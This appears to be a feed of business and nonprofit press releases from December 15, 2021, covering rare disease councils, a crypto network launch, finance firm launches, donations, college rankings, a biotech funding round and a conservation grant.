SOURCE Caisse de depot et placement du Quebec WASHINGTON, Dec. 15, 2021 /PRNewswire/ -- In 2015, the first rare disease advisory council was created in North Carolina by patients, caregivers, families, and providers. This year, the National Organization for Rare Disorders (NORD), the leading advocate for the over 25 million Americans living with a rare disease, is celebrating the growth and success of rare disease advisory councils throughout the country. A Rare Disease Advisory Council (RDAC) provides a platform to strengthen the voice of the rare disease community in state government. Through Project RDAC, an initiative officially launched in late 2020, NORD is working to optimize existing RDACs and increase the number of states with Councils to ensure the needs of the rare disease community are being met. "The first year of Project RDAC directly led to the creation of seven new RDACs across the country, which is an impressive reflection of the strength of the rare disease community and the interest and engagement of volunteers, state decisionmakers, patients and families. NORD is so proud of the new RDACs established, and greatly looks forward to doing more policy engagement and coalition building next year," said Peter Saltonstall, CEO and President, NORD. Project RDAC's state action and impact to date includes: 57 RDAC coalition meetings 201 patient organizations engaged 254 legislators contacted with action alerts 114 testimonies and letters of support submitted 11 RDAC bills introduced 7 new RDACs signed into law in 2021 The seven states to pass RDACs in 2021 are Florida, Louisiana, Massachusetts, New Jersey, Ohio, South Carolina, and Virginia. For more information on RDACs, NORD's work with state governments throughout the country, and ways to get involved, visit the Project RDAC website. About the National Organization for Rare Disorders (NORD) The National Organization for Rare Disorders (NORD) is the leading independent advocacy organization representing all patients and families affected by rare diseases in the United States. NORD began as a small group of patient advocates that formed a coalition to unify and mobilize support to pass the Orphan Drug Act of 1983. Since then, the organization has led the way in voicing the needs of the rare disease community, driving supportive policies, furthering education, advancing medical research, and providing patient and family services for those who need them most. Together with over 300 disease-specific member organizations, more than 15,000 Rare Action Network advocates across all 50 states, and national and global partners, NORD delivers on its mission to improve the lives of those impacted by rare diseases. Visit rarediseases.org. SOURCE National Organization for Rare Disorders (NORD) SINGAPORE, Dec. 15, 2021 /PRNewswire/ -- CELL Protocol Foundation announced to launch its pre-mining network by January 2022, a step forward in the company's overarching mission to create a decentralised, highly secure, stable and robust universal privacy computing platform. This milestone in CELL Protocol's roadmap will see the company adopt inclusive participation through traditional CPU mining, encouraging healthy development of the industrial application of privacy protection as well as strengthening overall technological advancement in the computing sphere. The company will leverage Testnet applications to differentiate computing resources and create an open environment across its network, in-line with relevant corresponding approaches. An example of this will be in the provision of trusted hardware computing (TEE) and CPU general computing resources, with the former doubling up to provide multi-party Computing (MPC) nodes to allow for participation in staking. The launch of our pre-mining process will prove to be a strong test-case for the future of verification and authenticity of a favourably trusted execution environment through zero-knowledge proof. These will be fundamental pillars that will prove to further bolster the efficacy and balance of power that Web 3.0 brings to the table. The first privacy computing network that integrates key advantages of Zero Knowledge Proof (ZKP), MPC and TEE, CELL Protocol's balanced data ecosystem promises to pave the way for major advancements in the privacy data storage, cross chain governance, distribution of key management functionalities and secure signature arenas. About CELL Protocol Foundation The CELL network is a decentralised, highly secure, and robust private open network. The main decentralised cross-chain platform enables anyone to freely participate in building decentralised cross-chain channels using idle devices through a fair nominated proof-of-stake consensus mechanism and a non-interactive proof-of-survival mechanism, supporting stable, efficient as well as low-cost connections to assets in heterogeneous chains. You can find out more about the company here. SOURCE CELL Protocol Foundation SHENZHEN, China, Dec. 15, 2021 /PRNewswire/ -- Chinese leading logistics and energy equipment supplier China International Marine Containers (Group) Ltd has made a major breakthrough in business development, with its operating revenue hitting a historical high in the first three quarters. The Shenzhen-based company generated 118.24 billion yuan ($18.5 billion) in operating revenue from January to September, growing 85.94 percent year-on-year, according to its latest financial report published on Oct 27. It is the first time that the company's operating revenue hit 100 billion yuan since its production 39 years ago and listing 27 years ago. And it only took nine months for the company to make such an accomplishment. Its net profit soared 1161.42 percent on a yearly basis to 8.8 billion yuan in the first nine months. According to 2020 Shenzhen Enterprises Top 500 List, published by Shenzhen Enterprise Confederation and Shenzhen Entrepreneur Association, there were nine enterprises in Shenzhen whose operating revenue had surpassed 100 billion yuan in 2020. That means CIMC will become the latest member of the city's "100-billion-yuan business club". SOURCE CIMC BOSTON, Dec. 15, 2021 /PRNewswire/ -- Clarus Capital ("Clarus") announced today that it has launched as a new commercial finance company focused on delivering efficient capital solutions to finance tangible assets for leveraged middle market companies. Clarus offers lease and loan products with various end-of-term options to finance the acquisition of a wide range of revenue generating and essential use equipment types. The company provides financing solutions to meet customers' needs for planned capital expenditures. Clarus serves firms nationwide across a broad array of industries, including manufacturing, construction, transportation, technology, healthcare, and business services. The firm is already underwriting and funding investment opportunities and has been awarded several transactions, ranging from $5 million to $30 million, which are scheduled to close in the near term. Clarus Capital was founded by Steve O'Leary, Tim Conway, and Michael Eisenstein who will serve as Chief Executive Officer, Chairman and Chief Financial Officer, respectively. Steve O'Leary, Chief Executive Officer, has more than 30 years of experience leading the origination, underwriting, portfolio management, syndication and funding of equipment finance lease and loan portfolios. He was formerly Head of Equipment Finance at NewStar Financial, which was sold to Radius Bank in 2016. Prior to that, Mr. O'Leary founded and managed Eastern Bank's middle market leasing business and held various positions with AT&T Capital, Fleet Capital Leasing and Shawmut Bank. Tim Conway, Chairman, has more than 30 years of experience building and leading alternative credit and wholesale banking institutions. Mr. Conway was the Founder, Chief Executive Officer and Chairman of the Board of Directors of NewStar Financial from 2004 to 2017. NewStar completed an IPO in 2006 and was sold to First Eagle Investment Management in 2017. Prior to that, Mr. Conway was the Head of Corporate Finance and Capital Markets for FleetBoston Financial Corporation where he was a member of the Management, Credit Policy and Market Risk Committees. Before joining FleetBoston, Mr. Conway worked at Citibank and Aetna. Michael Eisenstein, CFA, Chief Financial Officer and Treasurer, has more than 20 years of finance, securitization and capital markets experience and was formerly Corporate Treasurer of NewStar Financial and a member of the firm's executive leadership team for over 15 years. Prior to that, Mr. Eisenstein held various positions in the Corporate and Investment Banking Group at MUFG. Accompanying Mr. O'Leary on the Clarus Capital leadership team are two seasoned industry professionals. Veteran leveraged finance banker Jeff Greene joins as Clarus' Chief Credit Officer. Mr. Greene previously served as a Senior Portfolio Manager at NewStar Financial leading a team of credit investment professionals responsible for underwriting and portfolio management duties across a multi-billion dollar portfolio of middle market, leveraged finance and sponsor-backed credits. Dan Crowley joins as Clarus' Controller and Head of Administration. Mr. Crowley served as Corporate Controller for NewStar Financial, from its inception in 2004 through the IPO and eventual sale in 2017. Mr. Crowley was responsible for the build out and oversight of the day-to-day accounting and corporate finance functions, internal controls design and implementations, management of financial audits, and tax compliance as well as providing financial insights and support for corporate decision making. "We are excited about launching this business with a team of talented and experienced leveraged finance and equipment finance professionals backed by a sophisticated financial partner that is truly an expert in specialty finance," said Mr. O'Leary. "With our long duration and flexible capital base, we are well-positioned to build an industry-leading, flexible, and responsive platform that leverages our core strengths in direct origination, transaction structuring and disciplined risk management. Our data-driven, analytical approach will provide clients tailored financing solutions fit to their businesses. We will fill the void created by incumbent lenders who pulled back from equipment leasing creating a supply-demand imbalance in our target markets. Additionally, we look forward to returning in the near-term to the asset-backed capital markets as a programmatic issuer of equipment backed securitizations." "Steve, Mike and I are very excited to announce the formation of Clarus Capital," said Mr. Conway. "An experienced and cohesive team is in place, and we are well on our way to building a leading commercial finance platform. We have known the executives at BharCap for many years and we are proud to partner with them in this endeavor." Clarus Capital is backed by BharCap Partners, a private investment firm led by Bharath Srikrishnan which makes private equity and credit investments in the financial services industry. BharCap has access to a long duration capital base which enabled its long-term commitment to Clarus. BharCap is focused on identifying companies it believes can generate attractive risk-adjusted returns and benefit from the expertise and network of its team. Notably, Mr. Srikrishnan was also a co-founder and member of the executive management team of NewStar Financial until its IPO where he worked alongside Tim Conway and other members of the Clarus organization. BharCap's investment strategy is predicated on partnering with exceptional management teams to capitalize on powerful industry trends. "I have known Tim Conway for nearly 20 years and previously worked with the team in a similar business to Clarus," said Mr. Srikrishnan. "Quite honestly the best part of our business is working with repeat management teams, and I am excited to work with them again. They are the right team to back to capitalize on the market opportunity in the equipment finance space. The combination of their expertise and our capital base will enable us to build a differentiated equipment leasing company. We look forward to supporting them as we build and scale Clarus Capital together." Hovde Group served as exclusive financial advisor to Clarus Capital. K&L Gates provided legal counsel to Clarus Capital. Hunton Andrews Kurth provided legal counsel to BharCap. About Clarus Capital Clarus Capital is a commercial finance company specializing in delivering efficient capital solutions to finance tangible assets for non-investment grade middle market and large corporate borrowers. The Company targets investments up to $30 million across a wide array of equipment types, industries and throughout the credit spectrum via a seasoned group of investment professionals with diverse risk management and structuring expertise. Clarus Capital was formed as a partnership between a proven leadership team and long-term institutional capital with the goal of building a comprehensive equipment finance platform that addresses the needs of U.S. middle market companies. The firm is headquartered in Boston, MA and has a nationwide footprint across the United States. For more detailed information about Clarus Capital, please visit our website at www.claruscap.com or contact us at [email protected] . About BharCap Partners BharCap Partners, LLC ("BharCap") (www.bharcap.com) is a private investment firm investing in businesses across the financial services industry including specialty finance; asset and wealth management; insurance and insurance services; financial technology and tech-enabled business services. BharCap is a minority-owned and controlled firm and is one of the largest start-up minority-owned and controlled private investment firms in the industry. Members of the BharCap team have been involved, as both an investor and an operator, with investments in numerous financial services companies totaling in excess of $1.0 billion. BharCap is currently in the process of investing $1.8 billion of available client capital and invests in equity, debt and hybrid securities. SOURCE Clarus Capital CLEVELAND, Dec. 15, 2021 /PRNewswire/ -- Cleveland Christian Home, a Northeast Ohio nonprofit that provides residential and community-based services to children struggling with mental illness, abuse and neglect, is honored to receive a $1 million donation from Portfolio, a leading provider of finance and insurance products. Founded in the late 1800s, Cleveland Christian Home helps families in crisis by providing residential care for children who have experienced intensive trauma. With a staff trained extensively in trauma-informed care, the home offers hope to many families that have exhausted other options. The gift supports a $5-million capital campaign that will enable needed improvements to individual units and common areas within the home's main facility at 11401 Lorain Ave. in Cleveland. The goal is to make structural improvements, while elevating the environment to a state-of-the-art, home-like center that fosters world-class care. "These renovations will play a critical role in ensuring a safe, comfortable and supported space for the children we serve," said Chuck Tuttle, CEO of Cleveland Christian Home. "The Portfolio donation allows us to install a sprinkler system, replace old fire escapes and fully renovate one of the kids' units. We are extremely grateful for this gift." "Any contribution to the Cleveland Christian Home pays dividends for our community and its most vulnerable citizens, and we are honored and humbled to play a role in this critical initiative," said Kelly Price, senior vice president of Portfolio. Brent Griggs, Portfolio's president and CEO, said the company made the donation following the company's recent acquisition of National Automotive Experts/NWAN, a Strongsville, Ohio-based finance and insurance provider. Kelly Price, founder of NAE/NWAN, and her husband Bob Price, have been longtime supporters of the Cleveland Christian Home. Bob Price serves on its Board of Directors. To support the Cleveland Christian Home or learn more about the organization, visit cchome.org. About Cleveland Christian Home Helping families in crisis for more than 120 years, Cleveland Christian Home is the most trusted and reliable choice for kids struggling to overcome the toughest emotional and behavioral challenges. The home offers one of the only residential treatment programs in Cleveland with an intensive treatment center. The success in treating children with trauma has made Cleveland Christian Home the area's leading organization for children and families in crisis. About Portfolio Founded in 1989 and based in Lake Forest, Calif., with offices in Dallas, Texas and Strongsville, Ohio, Portfolio has earned national recognition as a leading provider of finance and insurance products and reinsurance programs. News Media Contact: Joe Mosbrook 216-375-2141 [email protected] SOURCE Cleveland Christian Home HARTFORD, Conn., Dec. 15, 2021 /PRNewswire/ -- Native Americans, the first people in North America, are the least represented in higher education. They have the lowest enrollment rate of all ethnic groups. Many colleges are working to change this. "Our treatment of this country's Indigenous peoples has been pretty dismal," said Julia McCaulley, College Values Online Editor. "As the awareness of this injustice grows, many schools are taking huge strides to make their campuses more inclusive. They're building solid support networks for their Native American student population. We have a long way to go to rectify the situation, but progress is being made. We're happy to highlight the colleges who are leading the way in providing a more equitable future for our Indigenous students." After intensive research and applying its own methodology, College Values Online found 30 American Colleges that Support Indigenous Students and Communities . Here are a few of the innovative programs: Cornell University Ithaca, NY In 2020, Cornell created the Indigenous Dispossession Project to identify all groups of indigenous people affected by the University's foundation and subsequent operations. It will discuss with these communities possible remedies to the historical injustice. The university is also working to increase its Native American community's size. It recently hired two experts in indigenous literature. University of California, Davis Davis, CA The University of California, Davis is a veteran in the quest for indigenous equality. In 2021, the Indigenous Research Center of the Americas celebrated its 30th anniversary. Additionally, the college's Department of Native American Studies has its roots in a program that started in 1969. It also has taken the important step of acknowledging that the campus is based on lands once occupied by indigenous people. Institute of American Indian Arts Santa Fe, New Mexico In the 2020-2021 academic year, the Student Success Center at the Institute of American Indian Arts implemented a new action plan. It has two major priorities: improving students' English and math abilities and redesigning its approach to advice. Another student success initiative is the New Freshman Summer Bridge Program. The college also works with New Mexico's 22 Native American communities. For instance, it provides agriculture education to these communities to increase stronger food security. Utah State University Logan, Utah The American Indian Support Project in the university's Psychology Department has been around since 1986. It addresses the shortage of Native American Mental health professionals. Native American students trained in this program are supported through financial assistance, a full-time Native American faculty member, tutoring, and more. Other indigenous programs help Native American students enrolled in other departments. University of Alaska, Anchorage Anchorage, Alaska One of the most innovative indigenous outreach efforts is this university's National Resource Center for Alaska Native Elders. The center ensures that older Native Alaskans can have fulfilling lives within their communities. Native American students in the university also have access to their own dedicated services. These include the Native Early Transition Program, a week-long orientation program for incoming freshmen. University of Arizona Tucson, Arizona In 2021, the university's researchers engaged in over 150 projects involving tribal communities. These ranged from community health work to archaeological discoveries. The university's 2018 strategic plan focuses on engaging and supporting Native American communities. Students are supported by the division of Native American Student Affairs, which has numerous programs to help Native Americans in the transition from high school to college. Northern Arizona University Flagstaff, Arizona The university's Office of Indigenous Student Success grew from a program that began in 1994. It runs a range of services, such as counseling and peer-mentoring, to help Native American students. The university also has outreach efforts through the Native American Cultural Center. The Center is run by The Office of Native American Initiatives, which also has programs supporting indigenous people. These include the Institute for Native-serving Educators, the Tribal Leadership Initiative, and the Institute for Tribal Environmental Professionals. University of North Carolina, Pembroke Pembroke, NC In 2020 the university received a $1.5 million federal grant . The grant is being used to create the American Indian Heritage Center, which enhances both indigenous and non-indigenous college community members. Examples of the programming Center include the Indigenous Power Hour Series and the American Indian Career Network . Empowering Native American students and their communities has always been a strong part of the University of North Carolina, Pembroke's identity. The university was founded for the purpose of educating Native Americans. For the full list and ranking methodology, click here. Contact: Julia McCaulley, Editor Phone: 518-496-0845 Email: http://www.collegevaluesonline.com/contact/ SOURCE College Values Online BOGOTA, Colombia, Dec. 15, 2021 /PRNewswire/ -- Colombia has become one of the most important destinations for the development of Business Process Outsourcing (BPO) operations. This is confirmed by the Offshore BPO Confidence Index 2021, which places the country in the first position of a list that includes the 12 main BPO world markets, an achivemenit that is celebrated by Invest in Bogota, the Investment Promotion Agency responsable for attracting foreing BPO companies to the capital city of the country. The index is the result of surveys with about 100 managers of BPO companies located in Bulgaria, Colombia, Egypt, El Salvador, Honduras, India, Jamaica, Mexico, Nicaragua, the Philippines, Poland, and South Africa, who rated their level of confidence in categories such as political and economic stability, government support, security, real estate market, availability of multilingual talent and strength of the BPO industry. Colombia, with a rating of 90.9%, appears in the first place of the index, followed by India, Bulgaria, South Africa, and El Salvador. The country's highest-rated categories are government support and BPO industry cohesion. Additionally, aspects such as the country's telecommunications infrastructure, talent availability, and economic stability received outstanding ratings. In terms of government support, the ranking highlights the country's plans to strengthen the supply of talent by investing in bilingualism programs, while in terms of talent availability, a category in which the country achieved an almost perfect score, respondents expressed confidence that they will be able to expand their operations for at least the next three years. One of the sections in which Colombia achieved the highest rating was the cohesion of the BPO industry. According to the index, executives have high confidence in the BPO association, Bpro, as well as in several of the investment promotion agencies operating in the country such as ProColombia and Invest in Bogota. "The articulated strategy led by the public sector and private companies has allowed Colombia to become one of the best environments in the world for the development of BPO operations. From Bogota, we are committed to attracting international BPO companies that contribute to the economic and social development of the capital", highlights Isabella Munoz, Executive Director of Invest in Bogota. Colombia is the third BPO market in Latin America with a revenue that exceeds 1,7 billion. Bogota, which concentrates more than 50% of the BPO operations, appears as the cluster of the industry in Colombia. In addition, 85% of the bilingual talent that is part of the sector is in the capital of the country. SOURCE Invest in Bogota Remote workers enjoying their newfound flexible schedules will be hard pressed to return back to any kind of pre-pandemic work lifestyles. This is especially true as this comes to an impasse with most employers requiring their full workforce to return to the office by January 2022. Doubling down on that prediction, cloudHQ releases a new feature that will allow anyone to migrate and transfer their emails from one email account to another in just a few clicks with Multi Email Forward by cloudHQ . "Having a copy of your emails in a safe place like a redundant email inbox in case anything happens to them, is always a smart idea for all entrepreneurs," Naomi Assaraf, Chief Marketing Officer at cloudHQ explains. "You never know if your email will get hacked or if your account gets temporarily suspended for any reason at all. Having that redundancy will make sure that you'll never have to miss even a minute of work, which is so important when you're working for yourself." Multi Email Forward by cloudHQ is free to use up to 25 emails/24 hours, and a Premium subscription of $14.99/mo, cancellable at any time. The company's ecosystem of 50+ free email productivity apps is especially helpful for small businesses and entrepreneurs. SOURCE cloudHQ Under the theme We innovate for your better life, Coway is sharing its vision for homes of the future and how next-generation technologies add more convenience to our everyday lives. To offer a glimpse into the future of home technology, Coway will display its innovative water purifiers, air purifiers, and sleep products that elevate how we live. The exhibition will feature four main zones, 'Smart Sleep Solution,' 'Noble,' 'Icon,' and 'Airmega.' Each of these will showcase how Coway's innovative technologies redefine mattresses, water purifiers, air purifiers, and bidets. The Airmega zone will feature the premium, award-winning lineup of the U.S.-available Cowaymega series, including the Airmega and Bidetmega lines. Those not in attendance can experience the CES Coway Booth via the 'CES 2022 Coway Brand Site'. The digital platform will feature exhibited products, Coway X BTS content, and provide access to on-site events. For press, business partners, and visitors, pre-registration for booth tours and meetings are also available. "It's an honor to bring our latest smart home innovations, born from 32 years of water, air, and design expertise, to CES 2022. We hope these will give an insight into the potential of how Coway's life solutions can shape our future everyday lives," said Kevin Shim, the Head of Marketing at Coway USA. WHERE: Venetian Expo Booth #52509, and online at 'CES 2022 Coway Brand Site' PRESS KIT: Coway Press Kit(Global), Coway USA Press Kit(USA) About Coway Co., Ltd. Established in Korea in 1989, Coway, "The Best Life Solution Company," is a leading environmental home appliances company making people's lives healthy and comfortable with innovative home appliances such as water purifiers, air purifiers, bidets, and mattresses. Since being founded, Coway has become a leader in the environmental home appliances industry, with intensive research, engineering, development, and customer service. The company has proven dedication to innovation with award-winning products, home health expertise, unrivaled market share, customer satisfaction, and brand recognition. Coway continues to innovate by diversifying product lines and accelerating overseas business in Malaysia, the USA, Thailand, China, Indonesia, Vietnam, Japan, and Europe, based on the business success in Korea. For more information, please visit http://www.coway.com/ or http://newsroom.coway.com. SOURCE Coway Co., Ltd. MARLBOROUGH, Mass., Dec. 15, 2021 /PRNewswire/ -- DALBAR, Inc., the nation's leading evaluator of customer service in the financial services industry, kicks off their annual award season today by publishing the recipients of the prestigious 2021 DALBAR Service Awards. DALBAR Service Awards are granted to the best mutual fund, annuity, retirement and insurance contact centers in the industry. The DALBAR Service Awards are earned through an objective and rigorous third-party audit, which examines the quality of actual contact center interactions with investors and/or financial intermediaries. The expert evaluation of hundreds of real calls throughout the year provides the most reliable measure of customer service excellence that exists in the market. DALBAR invites all firms to check their award status by visiting DALBAR's award winners page. "DALBAR has been issuing service awards for 32 years now. In that time, we've had the privilege of seeing countless firms transform their service culture. Being a part of that transformation has been such a rewarding experience for us because the people behind the contact center care so deeply about what they do. Most firms will not earn the Service Award, but every firm can change their service quality for the better and DALBAR will continue to be there to help firms in that endeavor." said Cory Clark, Chief Marketing Officer at DALBAR, Inc. DALBAR, Inc. has a 45-year history and is recognized by industry and government as an independent third-party expert in the business of providing audits, evaluations, ratings, and due diligence. DALBAR certifications are recognized as a mark of excellence in the financial services community. SOURCE DALBAR, Inc. "I have found the Club to be a haven of both inspiration and camaraderie in good times and bad and my goal as president is to ensure this continues for all members. I also look forward to recruiting new members with a fresh, diverse array of attributes that will contribute to the continued success of the institution, especially as the nature of journalism rapidly evolves." As a faithful Press Club member for nearly a decade, Judson looks to continue the Club's dedication to the field of journalism by supporting reporters day-to-day and upholding a major pillar of our democracy. "This coming year, as pandemic problems slowly fade, I hope we can sharpen our focus on matters of press freedom. As we know, the pandemic has only contributed to polarizing the public's view of the press worldwide and has aided in the degradation of global press freedom. I hope to double-down on Club efforts to promote a free press, to help protect press in danger, and to repair public trust. To make headway on these goals will require time, hard work, and a lot of help from our membership. I pledge to continue the fight for the safe return of journalist Austin Tice, who was kidnapped while reporting in Syria the same year I became a member at the Club. I hope with all my heart that 2022 will be the year he comes home. " As the land warfare reporter at Defense News for over six years, Judson has navigated the complicated bureaucracy of the Pentagon and Capitol Hill, but also brings previous experience of tackling head-on the challenges reporting in smaller communities at local newspapers. She won the National Press Club's best analytical reporting award in 2014 and was named the Defense Media Awards' best young defense journalist in 2018. Judson previously served as Club Secretary, on the board and as vice president to the outgoing president Lisa Nicole Matthews. "The Club has a solid leader in Jen Judson and her leadership team in continued uncertain times. I look forward to continued work with her and our membership," said Matthews. Judson holds a master of science degree in print journalism from Boston University and a bachelor of arts degree from Kenyon College. An inaugural gala is scheduled early in 2022 for the new president of the Club, which was founded in 1908 and includes thousands of members worldwide. Additional results of Friday's Club election include: Eileen Drage O'Reilly (Axios) as vice president; Michael Balsamo (The Associated Press) as secretary; Emily Wilkins (Bloomberg) as treasurer; and Gillian Rich (Investor's Business Daily) as membership secretary. Elected to a Board of Governors Journalist seat for three-year terms: Herb Jackson, Tara Copp, Alisa Parenti; Board of Governors Journalist seat for one-year terms: Mark Schoeff Jr. and Poonam Sharma; and Board of Governors Communicator seat for a three-year term: Mike Smith. Contact: Kaitlyn Cotter, [email protected], 202-662-7500 SOURCE National Press Club PARIS and CAMBRIDGE, England, Dec. 15, 2021 /PRNewswire/ -- Depixus, a biotechnology company developing a unique technology for the fast, accurate, and straightforward extraction of multiomic information from DNA, RNA, and proteins, today announces it has raised EUR 30.6 million in an oversubscribed Series A financing. The funds will be used to further develop its proprietary MAGNA instrument system, workflows, and reagents towards commercial launch. The round was co-led by Lansdowne Partners and the PSIM Fund operated by Bpifrance on behalf of the French State, with participation by Casdin Capital, and existing investors, including Arix Bioscience. This financing brings the company's total equity and grant funding to-date to over EUR 41 million (USD 47 million). With MAGNA, large numbers of individual molecules of DNA and RNA are captured in their native form, immobilised within a flow cell, and are then available for repeated interrogations that can reveal a broad range of features including base modifications, molecular structure, and interactions with other nucleic acids, proteins, or drugs. These capabilities unlock previously unattainable insights into the "dynamic genome" the layers of information beyond the four-base coding sequences of DNA and RNA, that are key to gene expression, regulation, and control. Detection of abnormal changes in base modification patterning have been shown to underpin many disease processes. The MAGNA technology will greatly accelerate access to this complex layer of the dynamic genome, opening up significant opportunities in the earlier detection and improved management of major diseases such as cancer. Moreover, the way in which nucleic acids, especially RNA, are folded and structured is also critical to biological regulation. With MAGNA these structures can often be revealed and analysed in detail. MAGNA therefore has strong potential as an aid in the discovery of drugs that either disrupt or stabilise RNA structures affording opportunities to modulate hitherto 'undruggable' pathological cellular processes. Gordon Hamilton, CEO and Co-founder of Depixus, commented: "We are extremely excited by the power of our MAGNA technology to overcome the current challenges of base modification sequencing and RNA structural analysis. Our technology looks set to open new horizons in applications such as biomarker discovery for liquid biopsy cancer detection, virology, and the development of drugs targeting RNA. We are very pleased to attract such a strong group of investors, which further validates the potential of the MAGNA platform to transform our understanding of cellular processes. Thanks to the support from our new and existing investors, we will continue to recruit additional top talent in France and the UK to further develop the platform through to commercial launch and beyond." John Berriman, Chairman of Depixus, said: "Depixus has grown by leaps and bounds since its inception. We are now confident that MAGNA instruments will provide unique and economical insights into the development and treatment of disease. This is a very exciting time for the Company as it progresses from pre-commercial research towards the launch of products." Lachlan MacKinnon, Board member and representative of Lansdowne commented: "I am truly excited to join the Board of Depixus at this critical moment in the company's history. The Depixus technology will enable scientists and biotechnology companies to move from a world of measuring DNA and RNA as linear, one-dimensional sequences, to one of dynamic, three-dimensional objects with many base modifications, at scale. Having seen the impact of methylation detection on liquid biopsy, I look forward to the company making sizeable contributions across the wider dynamic genomics landscape". Thibaut Roulon, Senior Investment Director at Bpifrance said: "We are delighted to partner with Lansdowne to support Depixus in the development of its MAGNA instrumentation system. The company is a laureate of the final phase of France's Worldwide Innovation Challenge. Depixus has proven the excellence of its breakthrough technology for the fast, accurate and straightforward extraction of information from DNA and RNA molecules beyond their simple sequence. This opens the door for many applications such as earlier and more accurate cancer diagnosis." Following this capital raise, Lachlan MacKinnon and Thibaut Roulon, will join Mark Chin of Arix Bioscience, Ronald Lindsay, Steve Allen, Gordon Hamilton, and John Berriman, on the Board of Directors. The company is based in Paris, France and Cambridge, UK, and is actively recruiting top talent to join its team. Depixus recently announced the publication of a scientific paper showcasing the MAGNATM capabilities in the peer-reviewed journal Communications Biology, part of Nature Research journals. The paper, entitled 'Detection of genetic variation and base modications at base-pair resolution on both DNA and RNA', can be freely downloaded here. About Depixus and MAGNA Depixus is a fast-growing innovative biotechnology company based in Paris, France, and Cambridge, UK, developing its cutting-edge MAGNA technology to reveal the secrets of the dynamic genome. The technology is set to transform our understanding of how genetics is regulated and provide powerful new insights into the mechanisms of disease. Depixus is a spin-out from spin-out from Ecole Normale Superieure (ENS), one of the most prestigious 'grandes ecoles' in France. The company has been financed not only through equity investment but also via numerous grants, including from the EU's Horizon 2020 SME Instrument and Innovate UK programmes. The MAGNA technology is based on an instrument system called a 'magnetic trap'. Samples of nucleic acid are captured within a flow cell and then can be analysed at multiple levels of resolution. To learn more about the way the MAGNA technology works and some of the many different assays that can be performed with the platform, please visit www.depixus.com. About Lansdowne Partners Lansdowne Partners is an investment management partnership founded in 1998. The firm manages assets for a diversified client base that includes some of the world's largest and most sophisticated investors. About Bpifrance and the PSIM Fund Bpifrance is the French national investment bank: it finances businesses at every stage of their development through loans, guarantees, equity investments and export insurances. Bpifrance also provides extra financial services (training, consultancy) to help entrepreneurs meet their challenges (innovation, export). Created in June 2017 as part of the Future Investment Program (PIA) and managed on behalf of the State by Bpifrance, the PSIM fund "Major Innovation Support Program" aims in particular to support the winners of the Global Innovation Competition via an equity investment. It enables French start-ups to move towards the industrialization of their breakthrough innovations and their international development. For more information, please visit: https://www.bpifrance.com/ Follow us on Twitter: @Bpifrance - @BpifrancePresse SOURCE Depixus ST. PETERSBURG, Fla., Dec. 15, 2021 /PRNewswire/ -- Duke Energy Florida is contributing $150,000 to Coastal Conservation Association Florida (CCA Florida) the state's leading organization dedicated to marine fisheries conservation, education and advocacy. "Duke Energy Florida has developed long-standing relationships with environmental organizations, like CCA Florida, to help make significant impacts across the state," said Melissa Seixas, Duke Energy Florida state president. "We understand the importance of environmental stewardship and the economic benefit it provides to the communities we serve. We're proud to in invest in programs that protect Florida waters." Approximately $100,000 will be used to help bring three new reef systems to the Gulf of Mexico, from the Panhandle to Tampa Bay. CCA Florida and the Mexico Beach Artificial Reef Association (MBARA) plan to deploy a new artificial reef off of Mexico Beach in 2022. The project would include installing three super reef structures, 10 grouper disc structures and five Florida limestone pyramid structures on a nearshore pre-permitted reef site. All three reef structure types are easy for boaters to find and safer to navigate, making them attractive to fishermen. The mixed array also provides greater habit structure diversity, which attracts more species of fish. CCA Florida is also working with Citrus County to build an inshore artificial reef and partnering with Pasco County to obtain permitting for a new reef site. "Artificial reefs initiate the development of natural, thriving habitats for various species of fish and other marine life, such as smaller organisms that are vital food sources for other marine species," said CCA Florida Executive Director Brian Gorski. "The overall goal is to create an ever-evolving ecosystem while enhancing fisheries, improving water quality and providing new opportunities for local anglers." The Duke Energy Foundation also recently provided a $50,000 grant to CCA Florida to test new approaches to clean up fish kills after red tide. "This grant will help research the most cost-effective way to clean up fish kills from red tides, thereby improving our water quality and air quality within our coastal communities," said Gorski. "We appreciate Duke Energy's support so we can help make a difference in our local communities." As part of a multifunctional and multiyear process to rebuild and maintain game fish stocks, Duke Energy Florida is collaborating with CCA Florida to release more than 100,000 redfish and spotted seatrout by the end of this year along Florida's west coast to help provide abundant recreational fishing opportunities. CCA Florida The Coastal Conservation Association (CCA) was founded in 1977 after drastic commercial overfishing along the Texas coast decimated redfish and speckled trout populations. One of 19 state chapters, CCA Florida became the fifth state chapter in 1985. A 501(c)3 non-profit, the purpose of CCA is to advise and educate the public on conservation of marine resources. Through habitat restoration projects, water quality initiatives and fisheries advocacy, CCA Florida works with its over 18,000 members including recreational anglers and outdoor enthusiasts to conserve and enhance marine resources and coastal environments. Join the conversation on Facebook or learn more at ccaflorida.org. Duke Energy Florida Duke Energy Florida, a subsidiary of Duke Energy, owns a diverse generation mix of natural gas, coal and renewables, providing about 10,200 megawatts of owned electric capacity to approximately 1.9 million customers in a 13,000-square-mile service area. Duke Energy (NYSE: DUK), a Fortune 150 company headquartered in Charlotte, N.C., is one of America's largest energy holding companies. Its electric utilities serve 7.9 million customers in North Carolina, South Carolina, Florida, Indiana, Ohio and Kentucky, and collectively own 51,000 megawatts of energy capacity. Its natural gas unit serves 1.6 million customers in North Carolina, South Carolina, Tennessee, Ohio and Kentucky. The company employs 27,500 people. Duke Energy is executing an aggressive clean energy strategy to create a smarter energy future for its customers and communities with goals of at least a 50% carbon reduction by 2030 and net-zero carbon emissions by 2050. The company is a top U.S. renewable energy provider, on track to own or purchase 16,000 megawatts of renewable energy capacity by 2025. The company also is investing in major electric grid upgrades and expanded battery storage, and exploring zero-emitting power generation technologies such as hydrogen and advanced nuclear. Duke Energy was named to Fortune's 2021 "World's Most Admired Companies" list and Forbes' "America's Best Employers" list. More information is available at duke-energy.com. The Duke Energy News Center contains news releases, fact sheets, photos and videos. Duke Energy's illumination features stories about people, innovations, community topics and environmental issues. Follow Duke Energy on Twitter, LinkedIn, Instagram and Facebook. Media contacts: Duke Energy Ana Gibbs Cell: 813.928.7263 Media line: 800.559.3853 Coastal Conservation Association Florida Mary Hillyer Peelen Phone: 407.617.0604 Email: [email protected] SOURCE Duke Energy Related Links www.duke-energy.com DALLAS, Dec. 15, 2021 /PRNewswire/ -- Pariveda Solutions, Inc., a leader specializing in solving complex technology and business problems, announces the acquisition of Sustena Group, Inc., a New York City-based management consulting firm. With the addition of Sustena, Pariveda provides holistic branding services, including developing, naming and launching B2B brands that unite employees, attract customers and increase enterprise value. Sustena provides a rigorous delivery methodology grounded in organizational purpose and 